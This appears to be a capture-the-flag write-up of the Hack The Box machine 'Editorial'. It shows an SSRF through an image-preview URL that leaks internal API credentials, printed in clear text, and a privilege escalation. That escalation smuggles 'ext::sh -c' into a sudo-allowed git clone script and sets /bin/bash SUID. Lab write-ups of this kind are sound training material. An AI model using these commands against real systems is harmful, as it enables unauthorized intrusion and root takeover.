chirpy-starter/_posts/2024-01-12-editorial.md
2025-02-03 22:22:27 -06:00

3.7 KiB
Raw Blame History

title date categories tags image
HTB - Editorial 2020-11-18 12:17:34 -0400
hackthebox
Editorial
SSRF
Python
Git
path lqip alt
/assets/img/post/editorial/Editorial-card.png data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA Hack the Box - Editorial.

Box Info

Name Editorial
Release Date 15 Jun, 2024
OS Linux
Rated Difficulty Easy

Enumeration

Image

echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts
Image whatweb: Image Web: Image dirsearch -u http://editorial.htb/ Image

This page is interesting, we can preview an image from a file or url.

Image

SSRF

The file name is renamed and the file extension is removed. When we open the preview image in a new tab, the file downloaded directly, so it seems like we cant execute any shell directly.

When I upload a file and add a url "http://127.0.0.1/" and intercept with BurpSuite, we can see the response 200 OK and showing a image directory location, this point to a SSRF.

Image

In an SSRF attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter)

Image

The response shows us a directory path, let's download the file and see what's inside.

Image

Image

Image

And re upload the file and add the path in burpsuite.

/api/latest/metadata/messages/authors{: .filepath}

Image

Image

Username: dev - Password: dev080217_devAPI!@ Image

user flag Image

Image

Linux Enumeration

find / -user dev 2>/dev/null | grep -vE "sys|proc"

Image

Image

The command Git show displays detailed information about a commit.

Image

Image

080217_Producti0n_2023!@ for prod

  • su prod
  • password: 080217_Producti0n_2023!@

Privilege Escalation

sudo -l

Image

- echo '#!/bin/bash' > /tmp/exploit.sh

- echo 'chmod u+s /bin/bash' >> /tmp/exploit.sh

Image

- sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/tmp/exploit.sh'"

Image

  • ls -l /bin/bash

Image

Start a new bash session.

  • /bin/bash -p

Image